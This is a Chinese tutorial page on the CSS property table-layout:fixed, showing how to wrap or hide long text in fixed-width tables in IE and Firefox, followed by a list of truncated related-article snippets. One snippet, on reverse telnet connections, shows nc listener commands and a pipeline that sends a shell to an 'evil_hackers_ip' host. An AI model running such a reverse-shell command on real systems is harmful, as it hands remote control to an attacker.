table-layout:fixed 属性的解说
table-layout:fixed 属性的解说
如果想要一个table固定大小,里面的文字强制换行(尤其是在一长串英文文本,并且中间无空格分隔的情况下),以达到使过长的文字不撑破表格的目的,一般是使用样式:table-layout:fixed。但是在Firefox下面,会有一些问题:firefox下,内容会飘出框外,暂时没有找到解决办法
例1:(IE浏览器)长串英文自动回行
方法:同时加入word-wrap:break-word;
table{table-layout:fixed;word-wrap:break-word;}
例2:(IE浏览器)一个表格里的内容隐藏
方法:使用样式table-layout:fixed与nowrap(一行一列)
<style>
.tbl {table-layout:fixed}
</style>
<table class="tbl" border=1 width=80>
<tr>
<td nowrap>abcdefghigklmnopqrstuvwxyz 1234567890</td>
</tr>
</table>
效果:

width=80起作用了,换行也被干掉了。
例3:(IE\Firefox浏览器)固定宽度使多余内容隐藏
方法:在使用百分比固定td大小情况下使用样式table-layout:fixed与nowrap,并且使用div (一行两列)
<style>
.tbl {table-layout:fixed}
.td {overflow:hidden;}
</style>
<table class="tbl" border=1 width=80>
<tr>
<td width=25% class="td" nowrap>
<div>abcdefghigklmnopqrstuvwxyz 1234567890</div>
</td>
<td class="td" nowrap>
<div>abcdefghigklmnopqrstuvwxyz 1234567890</div>
</td>
</tr>
</table>
效果:
table-layout:fixed 属性的解说的更多相关文章
- ie8下table的colspan属性与max-with属性的显示错乱问题
今天项目测试时发现了一个table的colspan样式问题,发现colspan单元格下的的元素设置max-with后将上面的第二列单元格撑开了,导致后面单元格的内容换行,先看代码: html代码: & ...
- table表格的属性
border="1"----边框 cellpadding="10%"----单元边缘与其内容之间的空白距离 cellspacing="10%" ...
- css中table-layout:fixed 属性的用法
table-layout:fixed 属性的用法:如果想要一个table固定大小,里面的文字强制换行(尤其是在一长串英文文本,并且中间无空格分隔的情况下),以达到使过长的文字 不撑破表格的目的,一般是 ...
- Android表格布局(Table Layout)
Android表格布局(Table Layout) 先来看布局管理器之间继承关系图: 图1 可知TableLayout继承了LinearLayout,所以表格布局本质上依然是线性管理器. 表格布局采用 ...
- Delphi dbf文件如何定位记录(即设置Table的RecNum属性来移动到该记录号)
Delphi的table的RecNum属性,可以用来定位记录,如:self.Table1.RecNum:=23;即可以让数据库记录移动到23号记录上,但这种作用仅限于Paradox数据库,而不是dBA ...
- 元素设置position:fixed属性后IE下宽度无法100%延伸
元素设置position:fixed属性后IE下宽度无法100%延伸 IE bug 出现条件: 1.div1设置position:fixed属性,并且想要width:100%的效果. 2.div2(下 ...
- 解决IE6不支持position:fixed属性
最近在优化网站浮动广告时候遇见了IE6不支持position:fixed属性.上网收集了一下解决方案 比较好的方案就是利用css表达式进行解决 补充:CSS Expression (CSS 表达式), ...
- Android--应用开发3(Android layout XML属性)
Android layout XML属性 转载:http://www.cnblogs.com/playing/archive/2011/04/07/2008620.html Layout对于迅速的搭建 ...
- (转)实例详解CSS中position的fixed属性使用
关于fixed属性,在什么情况下需要用,怎么用,首先,我们应该先了解下fixed属性的说明:fixed总是以body为定位时的对象,总是根据浏览器的窗口来进行元素的定位,通过"left&qu ...
随机推荐
- SCCM客户端推送/卸载
站点配置--站点--层次结构设置--自动批准客户端 ccm客户端安装日志:服务器端的ccm.log安装ccm客户端,需要添加一个具有访问客户端$admin权限的账户,如下:站点名称-右键 客户端安装设 ...
- Codeforces Gym 100231B Intervals 线段树+二分+贪心
Intervals 题目连接: http://codeforces.com/gym/100231/attachments Description 给你n个区间,告诉你每个区间内都有ci个数 然后你需要 ...
- Codeforces Educational Codeforces Round 3 B. The Best Gift 水题
B. The Best Gift 题目连接: http://www.codeforces.com/contest/609/problem/B Description Emily's birthday ...
- C++ Code_TabControl
主题 1. 选项卡控件基础 2. 显示图标的选项卡 3. 选项卡控件高级 4. 5. 属性 选项卡控件基础 1.插入1个对话框,新建1个类 CCDialog1,1 个对话框对应一个 ...
- Android微信SDK API 调用教程【转】
原文:http://blog.csdn.net/worker90/article/details/8211451 最近一直在调用微信的API,却发现一直调用不成功,纠结了好久,各方面找教程,找官方,官 ...
- 反向telnet连接
首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...
- boost.asio源码剖析(二) ---- 架构浅析
* 架构浅析 先来看一下asio的0层的组件图. (图1.0) io_object是I/O对象的集合,其中包含大家所熟悉的socket.deadline_tim ...
- oc-15-匿名对象
/** 匿名对象 1.访问成员变量--->只能给成员变量设置值,只能成功1次,每次都是新的对象. 2.调用方法时类似类方法: 跟类方法区别:匿名对象创建对象了,开辟空间了. */ #import ...
- 进程控制之exec函数
用fork函数创建子进程后,子进程往往要调用一种exec函数以执行另一个程序.当进程调用一种exec函数时,该进程执行的程序完全替换为新程序,而新程序则从其main函数开始执行.因为调用exec并不创 ...
- Feister network
在密码学中,Feister network(又叫Feister Function, 一下简称 F函数)是一种用在块加密上的对称结构,很多种块加密算法都是使用这种结构. 优点: 1.加解密的过程非常相似 ...